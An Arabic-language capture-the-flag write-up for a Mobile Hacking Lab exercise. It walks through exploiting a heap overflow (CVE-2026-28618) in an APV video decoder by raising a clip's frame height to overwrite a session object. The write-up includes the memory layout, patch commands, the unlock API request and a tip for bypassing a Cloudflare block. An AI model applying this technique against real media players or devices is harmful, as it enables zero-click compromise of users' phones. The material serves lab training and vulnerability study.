
ملاحظات محجوبة حول CVE-2026-28618 / مختبر StreamBox APV — كتابة في الكومة إلى كائن جلسة عبر عدم تطابق ارتفاع FRAME
CVE-2026-28618 في StreamBox — نفس فئة وحدة فك الترميز الخاصة بثغرة APV RCE على Android المستغلة فعليًا، وقد حُوّلت إلى كتابة على الكومة (heap write) ضد كائن جلسة (session object).
هذا المستودع هو تقرير عام منقّح: الأعلام (flags) ورموز النسخة (instance tokens) ومفتاح HMAC محذوفة. ملف APK وmake_clip.py ملك لـ Mobile Hacking Lab؛ وليست منسوخة هنا.

StreamBox هو مشغل APV صغير. APV هو Advanced Professional Video (RFC 9924)، وهو الترميز الخالي من الرسوم لسامسونج، نفس العائلة التي شُحنت في حزمة الوسائط في Android. فكرة المختبر في جملة واحدة: المشغل يشغّل المقاطع المشتركة عند وصولها.
SEND أو VIEW أو streambox://?url=… تُوصل ملفًا إلى files/incoming.apv ويُشغَّل NativeDec.loadClip(). دون أي نقرة إضافية على المقطع.
الثغرة هي CVE-2026-28618: تجاوز سعة المخزن المؤقت في الكومة (heap buffer overflow) في dec_frm_prepare من OpenAPV. نفس الفئة، نفس وحدة فك الترميز مثل CVE-2026-0006، ثغرة APV RCE بنقرة صفرية التي استُغلت فعليًا في البرية في وقت سابق من هذا العام.
يغلّف المختبر تلك الكتابة كلعبة. أفرِط في مستوى Y المثبّت 64×64، حطّم كائن جلسة مجاور، أعد توجيه التدمير (teardown) إلى handlers[2]، وسيعيد الـ Worker العلم.
العدة عبارة عن ملفين مضغوطين من المختبر:
streambox-lab.apk.zip — المشغلmake_clip.py.zip — كيفية بناء مقاطع مكتبة 64×64، والـ bitstream الذي تفرط في سعته
PlayerActivity يقوم بـ:
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path);
// WebView bridge later calls Android.openTier(status)
openTier(1) هو إصابة جزئية (تم لمس الجلسة، عدم تطابق الرمز). openTier(2) هو win(). يقوم PremiumActivity بإرسال الحالة الأصلية إلى المختبر:
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
عند الإقلاع كان التطبيق قد نفّذ بالفعل POST /api/instance وNativeDec.setPlatinumToken(token). ذلك الرمز هو ما يجب أن يكتبه الفائض في الجلسة.

arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
الـ oapv_imgb_t مثبّت عند 64×64، YUV بعمق 10 بت. يبدأ المستوى 0 (Y) عند arena+0. 64 × 64 × 2 = 0x2000. مع pad == 0، تجلس الجلسة على أول بايت بعد Y.
يكتب oapvd_decode() بعرض/ارتفاع FRAME PBU. إطار FRAME أطول من 64 يكتب عينات 10 بت مباشرة في session.
بعد فك الترميز:
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

يرسم مولّد المختبر 32 إطارًا من RGB بحجم 64×64، ويحوّلها إلى yuv422p10le، ويستدعي مُرمّز OpenAPV المرجعي:
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
كل مقطع مضمّن هو 32 وحدة وصول (access units) من FRAME 64×64:
[u32be au_size] ['aPv1' + PBUs] × 32

لا يزال المشغل يخصص 64×64. عدّل frame_height لكل AU من 64 → 72:
python3 scripts/patch_frame_height.py clip_pulse.apv -o overflow_height72.apv --height 72
شاركه (SEND / VIEW / streambox://?url=). التشغيل التلقائي هو الاستغلال.
الفائض الأنظف هو تعديل H في make_clip.py إلى 72 أو 128 وإعادة الترميز بحيث تكون صفوف Y الإضافية بيانات صورة حقيقية. الصف 64 من مستوى بعرض 64 وعمق 10 بت هو 128 بايت:
OBMAERTS)g_token)2APV ضياعي (lossy)؛ القيم الدقيقة بعمق 10 بت عبر oapv_app_enc تتطلب QP 0 / شبه بلا ضياع.
PoC عام ذو صلة لفئة الثغرة الأم: mobilehackinglab/CVE-2026-0006-openapv-poc.
urllib في Python يحصل على Cloudflare 1010. أما curl مع UA خاص بالهاتف فيعمل.
يرفض الـ Worker الـ magic الأصلي بـ no overflow evidence: session magic intact. يُحتسب ASCII STREAMBO (بايتات مختلفة عن uint64 بصيغة LE) ككتابة.

# fill TICKET_KEY in scripts/unlock.py from NativeDec.ticketKey()
python3 scripts/unlock.py
win() هو ما يعرضه المشغل عندما يعيد loadClip القيمة 2:

dec_frm_prepareملاحظات مختبر مصرّح بها لتمرين StreamBox من Mobile Hacking Lab. لا APK، لا رموز حية، لا علم. لا تشغّل هذه الأوليات (primitives) ضد أي شيء لا تملكه أو لا تملك إذنًا باختباره.